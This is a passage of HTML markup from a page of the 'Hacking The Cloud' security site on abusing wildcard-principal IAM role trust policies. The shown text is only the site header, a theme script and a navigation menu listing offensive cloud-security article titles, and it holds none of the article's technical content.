68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#role-trust-policies class=md-nav__link> <span class=md-ellipsis> Role Trust Policies </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit class=md-nav__link> <span class=md-ellipsis> How to Exploit </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a 